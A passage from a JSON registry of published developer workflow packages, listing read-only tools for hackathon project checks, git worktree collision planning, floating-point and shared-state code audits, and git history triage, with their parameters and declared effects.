checks."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2f480f74a1ec0ff085ed6a19fec0d170c2367668bcd2317e889eb5d38938846b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/squaredcube/day-two-check@0.1.2","reference":"squaredcube/day-two-check@0.1.2","uri":"https://play.modiqo.ai/squaredcube/day-two-check@0.1.2","manifest_uri":"https://play.modiqo.ai/squaredcube/day-two-check@0.1.2","name":"day-two-check","title":"day-two-check","description":"Check whether your project does what you promised. Compare expected results with the evidence you have and find what needs fixing. From a 5 time hackathon winner at NVIDIA, OpenAI, Google Deepmind, YC, and Insforge, using insights from the top projects I built!","owner":{"kind":"user","slug":"squaredcube"},"registry_organization":"squaredcube","tags":["hackathon","project-maintenance","coding-agents"],"primary_domain":"domain-uncategorized","author":"squaredcube","version":"0.1.2","published_at":"2026-09-06T06:21:28.730273+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":16662,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":4,"names":["load_packet","compose_check","check_outcomes","review_continuity"]},"parameters":[{"name":"packet","type":"string","required":true,"description":"Absolute path to your selected sanitized day-two/v2 JSON packet, up to 12 KiB. No other project files are read."},{"name":"at","type":"string","required":false,"default":"now","description":"Analysis time: now, or an explicit UTC ISO time for reproducible fixtures. Use now for real checks."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:215c6c6ae53d690ac699a542bbb209b1dafb0563b16b942a4ca278ed23d19d07","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/squaredcube/agent-reset@0.1.2","reference":"squaredcube/agent-reset@0.1.2","uri":"https://play.modiqo.ai/squaredcube/agent-reset@0.1.2","manifest_uri":"https://play.modiqo.ai/squaredcube/agent-reset@0.1.2","name":"agent-reset","title":"agent-reset","description":"Get your coding agent back on task. Check its reported changes and done claims against your project brief and test results. From a 5 time hackathon winner at NVIDIA, OpenAI, Google Deepmind, YC, and Insforge, using insights from the top projects I built!","owner":{"kind":"user","slug":"squaredcube"},"registry_organization":"squaredcube","tags":["hackathon","project-maintenance","coding-agents"],"primary_domain":"domain-uncategorized","author":"squaredcube","version":"0.1.2","published_at":"2026-09-06T06:21:24.91718+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":16029,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":4,"names":["load_packet","review_scope","compose_reset","check_outcomes"]},"parameters":[{"name":"packet","type":"string","required":true,"description":"Absolute path to your selected sanitized day-two/v2 JSON packet, up to 12 KiB. No other project files are read."},{"name":"at","type":"string","required":false,"default":"now","description":"Analysis time: now, or an explicit UTC ISO time for reproducible fixtures. Use now for real checks."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:9d52836868c4ceecb455b90362ba1559a23d223b853e97e29e75d7135cd223c4","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/squaredcube/promise-cut@0.1.2","reference":"squaredcube/promise-cut@0.1.2","uri":"https://play.modiqo.ai/squaredcube/promise-cut@0.1.2","manifest_uri":"https://play.modiqo.ai/squaredcube/promise-cut@0.1.2","name":"promise-cut","title":"promise-cut","description":"Pick a demo you can finish before judging. Compare your ideas with the time left and what people need to try. From a 5 time hackathon winner at NVIDIA, OpenAI, Google Deepmind, YC, and Insforge, using insights from the top projects I built!","owner":{"kind":"user","slug":"squaredcube"},"registry_organization":"squaredcube","tags":["hackathon","project-maintenance","coding-agents"],"primary_domain":"domain-uncategorized","author":"squaredcube","version":"0.1.2","published_at":"2026-09-06T06:21:20.217836+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":16569,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":4,"names":["load_packet","compose_promise","assess_candidates","check_constraints"]},"parameters":[{"name":"packet","type":"string","required":true,"description":"Absolute path to your selected sanitized day-two/v2 JSON packet, up to 12 KiB. No other project files are read."},{"name":"at","type":"string","required":false,"default":"now","description":"Analysis time: now, or an explicit UTC ISO time for reproducible fixtures. Use now for real checks."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2a0f869a6b932100e1c952dd51828154591dd86b9faf9a8381f9899ff298c9a2","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/himanshu-jha/parallel-work-collision-radar@0.1.2","reference":"himanshu-jha/parallel-work-collision-radar@0.1.2","uri":"https://play.modiqo.ai/himanshu-jha/parallel-work-collision-radar@0.1.2","manifest_uri":"https://play.modiqo.ai/himanshu-jha/parallel-work-collision-radar@0.1.2","name":"parallel-work-collision-radar","title":"parallel-work-collision-radar","description":"Builds an evidence-bounded integration queue before parallel branches or agent worktrees collide at merge time. Five independent read-only probes inventory local Git worktrees, compare every head with the selected integration base, map exact file overlap, identify schema/migration/lockfile coordination surfaces, and read an optional structured GitHub-plus-tracker export. A bounded dynamic fan-out then inspects each discovered worktree independently; the join rejects state drift between probes, constructs a collision graph, preserves declared blocker edges, detects dependency cycles, and emits a deterministic MERGE, REBASE, WAIT, or VERIFY order with concrete reasons. Caller-supplied provider data can prove a blocker but is never treated as live authorization to merge. It never fetches, checks out, rebases, merges, edits, or starts project code.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-engineering-teams","domain-developer-productivity","parallel-work","git-worktrees","merge-planning","collision-graph","agent-coordination"],"primary_domain":"domain-developer-productivity","author":"himanshu748","version":"0.1.2","published_at":"2026-09-06T05:50:56.769715+00:00","visibility":"public","quality_score":1,"size_bytes":29200,"license":"MIT","stats":{"downloads":2,"installs":0},"steps":{"count":7,"names":["trace_base_churn","inspect_work_item","inventory_worktrees","map_path_collisions","build_collision_graph","map_contract_surfaces","read_coordination_evidence"]},"parameters":[{"name":"repo","type":"string","required":false,"default":"","description":"Absolute path inside a local Git worktree. Empty uses the packaged deterministic collision demo; a supplied path is never fetched or modified.","example":"/absolute/path/to/repository"},{"name":"base_ref","type":"string","required":false,"default":"","description":"Integration ref to compare against. Empty tries origin/HEAD, main, and master in that order; a fallback to the current head is labeled low-confidence and cannot earn PASS.","example":"origin/main"},{"name":"coordination_input","type":"string","required":false,"default":"","description":"Optional absolute path to schema-v1 JSON with source, captured_at, integration_base_sha, github records (work_id, head_sha, open, draft, ci, review, mergeable), and tracker records (work_id, status, priority, blocked_by). Work IDs match discovered branch names; resources/coordination-example.json is a complete example. Empty means those dimensions are UNKNOWN; malformed supplied evidence is fatal.","example":"/absolute/path/to/github-tracker-export.json"},{"name":"max_items","type":"string","required":false,"default":"12","description":"Maximum discovered worktrees admitted to the dynamic fan-out, from 1 through 16. A larger inventory is explicitly PARTIAL.","example":"16"},{"name":"evidence_max_age_hours","type":"string","required":false,"default":"24","description":"Maximum age of caller-supplied GitHub/tracker evidence, from 1 through 720 hours. Stale or future-dated evidence remains UNKNOWN and cannot authorize MERGE.","example":"4"},{"name":"as_of_utc","type":"string","required":false,"default":"","description":"Explicit ISO-8601 decision time used to age coordination evidence. Required to distinguish fresh from stale supplied records; even fresh records still require live provider verification before MERGE. Making time an input keeps runs and resumes deterministic.","example":"2026-09-04T12:00:00Z"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:3fcb1bc49045bb448ec815ec472b8fc1a3cfcc1ef537ac925b11a665c1628864","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":7,"kinds":{"api":0,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":5,"fan_out":4,"for_each_steps":1,"complexity":7,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/float-equality@1.0.1","reference":"lgoyal6/float-equality@1.0.1","uri":"https://play.modiqo.ai/lgoyal6/float-equality@1.0.1","manifest_uri":"https://play.modiqo.ai/lgoyal6/float-equality@1.0.1","name":"float-equality","title":"float-equality","description":"`if total == 0.1` is not a rounding nitpick. 0.1 has no exact binary64 representation, so the number written and the number held are different and the branch simply never runs. This reports exact == and != on floating point in Python, Go, C, C++ and CUDA, ranked by evidence: a float grown with += inside a loop and then compared, a computed value against a literal, money held as a float, two declared doubles compared by name, and a plain exact comparison. Most of the value is in what it refuses to say. Zero is exact. Every integer below 2**53 is exact. Every dyadic rational - 0.5, 1.75 - is exact. Infinity is exact. `x != x` is the NaN test, and a float pointer comparison is an address comparison. Each is excluded with the arithmetic reason named and counted. Tests are excluded: an assertion against an expected value is doing its job. Executes nothing.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","correctness-workflows","job-numeric-precision-audit","tool-static-analysis","effect-read-only","float-equality","floating-point","ieee-754","precision-drift","decimal","epsilon","python","golang","cpp","cuda","audience-developers","audience-quant","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"1.0.1","published_at":"2026-09-06T04:40:09.364227+00:00","visibility":"public","quality_score":1,"size_bytes":30766,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory tree to audit. Must be an ABSOLUTE path, because a step runs inside rote's own workspace rather than your shell directory, so a relative path would scan the wrong tree and report it clean","example":"/Users/you/project"},{"name":"depth","type":"string","required":false,"default":"10","description":"How many directory levels below root to search for source files","example":"6"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:272bad4a9d0fe4b015bea1b732bc7fa610e5c3e5c8327022134074bdea603f70","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":12,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/mritunjay/sourced-company-brief@0.2.0","reference":"mritunjay/sourced-company-brief@0.2.0","uri":"https://play.modiqo.ai/mritunjay/sourced-company-brief@0.2.0","manifest_uri":"https://play.modiqo.ai/mritunjay/sourced-company-brief@0.2.0","name":"sourced-company-brief","title":"sourced-company-brief","description":"Research a company from public keyless sources and produce an evidence ledger plus a self-contained HTML/PDF brief where every figure is either traceable to a document that was actually retrieved (with a verbatim quote re-read from stored bytes) or declared as a typed gap. No API key, credential, or paid data source.","owner":{"kind":"user","slug":"mritunjay"},"registry_organization":"mritunjay","tags":["research","due-diligence","provenance","company-brief"],"primary_domain":"domain-uncategorized","author":"Mritunjaypandey0789","version":"0.2.0","published_at":"2026-09-06T04:06:47.247388+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":21444,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":11,"names":["render_pdf","render_html","build_ledger","collect_news","collect_brand","verify_render","collect_investor","collect_customers","collect_financials","collect_structured","resolve_and_classify"]},"parameters":[{"name":"company","type":"string","required":true,"description":"Company name to research, e.g. Notion"},{"name":"domain","type":"string","required":false,"default":"","description":"Optional domain to disambiguate the entity, e.g. notion.com. Omit to auto-resolve and record ambiguity."},{"name":"output_dir","type":"string","required":false,"default":"./brief","description":"Directory for facts.json, report.html, report.pdf and stored raw sources. Created if absent; nothing outside it is written."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:80fdf3e0e3b0d7be4a604f9b53b222fbaa99ce67e59581a2cc2776ffaf3470bc","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":11,"kinds":{"api":0,"shell":11,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":6,"width":6,"fan_out":0,"for_each_steps":0,"complexity":11,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":11}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/untested-failure@0.1.2","reference":"lgoyal6/untested-failure@0.1.2","uri":"https://play.modiqo.ai/lgoyal6/untested-failure@0.1.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/untested-failure@0.1.2","name":"untested-failure","title":"untested-failure","description":"Your tests prove the happy path works. What proves the failure path does? This walks every repository under a root for six shapes of failure branch that only run on your worst day: a catch block or `if err != nil` no test appears to assert on, a custom error class raised but never referenced by a test, an error message string appearing in no test file, a guard on invalid input no test ever passes invalid input to, a retry or fallback path no test forces to fail, and a cleanup or rollback path nothing triggers. Ranked by CONSEQUENCE: an untested rollback outranks an untested validation error, because rollback runs only after something has already gone wrong and a bug there compounds the damage. The method is name-and-string matching, never coverage instrumentation, and every line of the report says so. A repository with no test suite is reported once as an honest absence, not as one finding per branch. Python, JS/TS and Go. Never runs a test. Needs python3, bash and git.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-test-coverage-audit","tool-git","effect-read-only","test-coverage","error-handling","exception-handling","failure-path","unhappy-path","rollback","retry-logic","circuit-breaker","go-error-handling","name-string-matching","not-coverage-instrumentation","audience-developers","audience-qa-engineers","audience-code-reviewers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.2","published_at":"2026-09-06T01:02:38.351572+00:00","visibility":"public","quality_score":1,"size_bytes":45334,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to a directory holding cloned repositories, or to one repository. A relative path is refused with exit 2, because a step runs in rote's own workspace rather than your shell directory and would scan the wrong tree and report it as your answer.","example":"/Users/you/oss"},{"name":"depth","type":"string","required":false,"default":"4","description":"How many directory levels below root to look for repositories. 1 finds root itself when root is a clone. Must be 1 to 8.","example":"4"},{"name":"top","type":"string","required":false,"default":"8","description":"How many full branch entries to print before the rest become a one-line index. Every branch found is still analysed, evidence-checked and counted.","example":"8"},{"name":"max_files","type":"string","required":false,"default":"4000","description":"Cap on interesting files read per repository (source and test files combined). A repository whose inventory hits the cap is marked so a partial read is never reported as a clean one.","example":"4000"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:1ec5394f62a8938d7b0c62ca62dfbfa0b7a82cedd96978702091d6d899281c35","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":8,"for_each_steps":2,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/unfinished-work@0.1.3","reference":"lgoyal6/unfinished-work@0.1.3","uri":"https://play.modiqo.ai/lgoyal6/unfinished-work@0.1.3","manifest_uri":"https://play.modiqo.ai/lgoyal6/unfinished-work@0.1.3","name":"unfinished-work","title":"unfinished-work","description":"What did you start and never finish, and which of it is closest to done? Every repository on this machine holds some, and `git status` in each of them is an afternoon you will not spend. This produces a ranked RESUME LIST, not a verdict. Two of the ranking inputs are what this adds over \"you have dirty repos\". REBASE COST: commits landed on the base since the merge-base plus the files changed on both sides, labelled a proxy for conflict likelihood rather than a conflict count, because only a real merge could count conflicts and a merge is a write. SUPERSEDED-BY-BASE: work whose files have since been rewritten upstream ranks LOW and is recommended for deletion, because resuming it means redoing it. With no fetch, every ahead-of-upstream count is a LOWER BOUND, and pull-request state is invisible on disk, so entries name that uncertainty instead of telling you to open a PR. It recommends deletions and performs none: every git call passes a read-only allow-list. Needs git, python3 and bash.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-unfinished-work-triage","tool-git","effect-read-only","stash","unpushed","ahead-of-origin","merge-base","rebase-cost","abandoned-branch","wip-commit","second-clone","unfinished-work","resume-or-delete","superseded-by-base","dirty-worktree","closest-to-done","audience-developers","audience-maintainers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.3","published_at":"2026-09-06T01:02:35.622626+00:00","visibility":"public","quality_score":1,"size_bytes":46490,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the directory holding your repositories. A relative path is refused with an actionable message, because a step runs in rote's own workspace rather than your shell directory and would walk the wrong tree and report it clean.","example":"/Users/you/code"},{"name":"depth","type":"string","required":false,"default":"4","description":"How many directory levels below root to search for repositories. 1 finds root itself when root is a repository.","example":"4"},{"name":"owners","type":"string","required":false,"default":"","description":"Comma-separated remote owners you can push to. A repository whose origin owner is outside this set is excluded, with the reason reported. Empty means infer the dominant owner from this machine's own remotes and say that it was inferred.","example":"your-github-handle"},{"name":"top","type":"string","required":false,"default":"12","description":"How many ranked entries to print in full before the rest become a one-line index. Every entry is still analysed and still counted.","example":"12"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7599c4200c205f72513dfe94393e80af23cc25bf78d67ba577bd3830efc8dbdd","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":10,"for_each_steps":2,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/streak-truth@0.1.2","reference":"lgoyal6/streak-truth@0.1.2","uri":"https://play.modiqo.ai/lgoyal6/streak-truth@0.1.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/streak-truth@0.1.2","name":"streak-truth","title":"streak-truth","description":"A contribution graph counts commits, not work. It cannot tell a day you spent writing code from a day you clicked merge twice and regenerated a lockfile. This reads local git history across every repository on your machine and separates the days that carried authored change from the days that only look like they did. Per author-day it reports a substance rate, the longest genuinely substantive streak against the longest raw streak, and the specific dates that would disappear under an honest count. Six hollow classes, each decided from git rather than from a name: a merge whose result matched a parent exactly, a rename with no line edited, a change entirely inside generated or vendored output, a whitespace-only diff, an empty file added or removed, and a commit recording no file change at all. Read-only allow-listed git queries; no fetch, no network, no forge API. Your git address selects your commits and is never printed. Needs git, python3 and bash.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-commit-history-audit","tool-git","effect-read-only","contribution-graph","commit-streak","author-day","merge-commit","combined-diff","generated-files","lockfile-churn","whitespace-only","rename-only","false-positive-rate","audience-developers","audience-jobseekers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.2","published_at":"2026-09-06T01:02:14.939966+00:00","visibility":"public","quality_score":1,"size_bytes":40583,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the directory holding your repositories. A relative path is refused with an actionable message, because a step runs in rote's own workspace rather than your shell directory and would walk the wrong tree and report it empty.","example":"/Users/you/code"},{"name":"days","type":"string","required":false,"default":"365","description":"How far back to look, in days. 365 matches the window a contribution graph shows.","example":"365"},{"name":"depth","type":"string","required":false,"default":"4","description":"How many directory levels below root to search for repositories. 1 finds root itself when root is a repository.","example":"4"},{"name":"emails","type":"string","required":false,"default":"","description":"Comma-separated git author addresses that are yours. Empty means: read the effective user.email of each repository and your global git config, and use those. The value is used to select commits and is never printed in the report.","example":"you@example.com,you@work.example"},{"name":"max_repos","type":"string","required":false,"default":"400","description":"Upper bound on how many repositories carrying your commits are analysed. Anything beyond it is reported as an explicit shortfall rather than silently dropped.","example":"400"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ed7c3505f6e04a9f905b11467a50fadf16baf3dc440d77ef28c087c611059204","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":8,"for_each_steps":2,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/stale-fork@0.1.2","reference":"lgoyal6/stale-fork@0.1.2","uri":"https://play.modiqo.ai/lgoyal6/stale-fork@0.1.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/stale-fork@0.1.2","name":"stale-fork","title":"stale-fork","description":"You forked a repository to fix one thing and it now sits on your profile looking like abandoned work. You cannot tell which forks still hold work and which are safe to delete. `git log upstream..HEAD` cannot tell you either, because it compares hashes, and a squash, a rebase or a cherry-pick gives the same change a new one. It calls work that shipped weeks ago unique to your fork forever, for exactly the forks that are safe to delete. This decides containment structurally instead: reachability, then `git patch-id --stable` per commit against upstream commits touching the same paths, then the patch-id of the fork's whole diff, which catches a squash no per-commit patch-id can match. Measured here: 194 repositories, 11 local forks, and an author gate that cut 594 naive \"commits upstream lacks\" to 13. Read-only: every git call passes a query allow-list, so fetch, push and branch deletion cannot be spelled through it. Needs git, python3, bash; gh optional.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-fork-cleanup","tool-git","effect-read-only","fork-lifecycle","upstream-divergence","patch-id","squash-merge","rebase-detection","safe-to-delete","unlanded-work","github-fork","fetch-age","audience-developers","audience-open-source-contributors","read-only","no-credentials","local-first"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.2","published_at":"2026-09-06T01:02:10.129187+00:00","visibility":"public","quality_score":1,"size_bytes":42260,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the directory holding your repositories. A relative path is refused with an actionable message, because a step runs in rote's own workspace rather than your shell directory and would walk the wrong tree and report it clean.","example":"/Users/you/code"},{"name":"depth","type":"string","required":false,"default":"4","description":"How many directory levels below root to search for repositories. 1 finds root itself when root is a repository. A directory that IS a repository is never descended into.","example":"4"},{"name":"top","type":"string","required":false,"default":"10","description":"How many forks to print in full in each list before the rest become a one-line index. Every fork is still classified and still counted.","example":"10"},{"name":"gh","type":"string","required":false,"default":"auto","description":"auto uses the gh CLI when it is installed and signed in, to confirm which repositories are forks and to ask what happened to your pull requests upstream. off keeps the run entirely local, and every answer gh would have settled becomes a labelled unknown rather than a guess.","example":"off"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4728766999a8577d822863b23241816289ba8d04146e04f8a737931c217a9278","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":6,"for_each_steps":2,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/shared-state@0.1.2","reference":"lgoyal6/shared-state@0.1.2","uri":"https://play.modiqo.ai/lgoyal6/shared-state@0.1.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/shared-state@0.1.2","name":"shared-state","title":"shared-state","description":"A global a request handler writes. A class attribute that quietly became every instance's shared inbox. A cache built lazily with no lock. Each passes every single-threaded test and surfaces only under load, as the bug that exists only when two callers overlap. This is NOT proof of a data race and never claims to be: source text cannot show that two threads truly interleave. Five shapes, ranked by how silently they corrupt rather than by how they look: a mutable default argument, reported only where the body mutates it; a class attribute reached through self; module-level state written inside an async def, a route or a thread target; a lazy cache two callers can both build; and an unlocked counter, ranked LAST because a wrong count is a nuisance while the other four leak data between callers. Every finding names BOTH the definition line and the mutation line, because the bug is the pair. Locks, contextvars and thread-locals are excluded and counted. Executes nothing. Needs python3 and bash.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","correctness-workflows","job-shared-state-audit","tool-static-analysis","effect-read-only","shared-mutable-state","data-race","race-condition","mutable-default-argument","class-attribute","lazy-singleton","unlocked-counter","thread-safety","concurrency","python","go","javascript","typescript","audience-developers","audience-sre","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.2","published_at":"2026-09-06T01:01:36.453943+00:00","visibility":"public","quality_score":1,"size_bytes":43791,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to a directory tree of source code, or to one file. A relative path is refused with exit 2, because a step runs in rote own workspace rather than your shell directory and would scan the wrong tree and report it as your 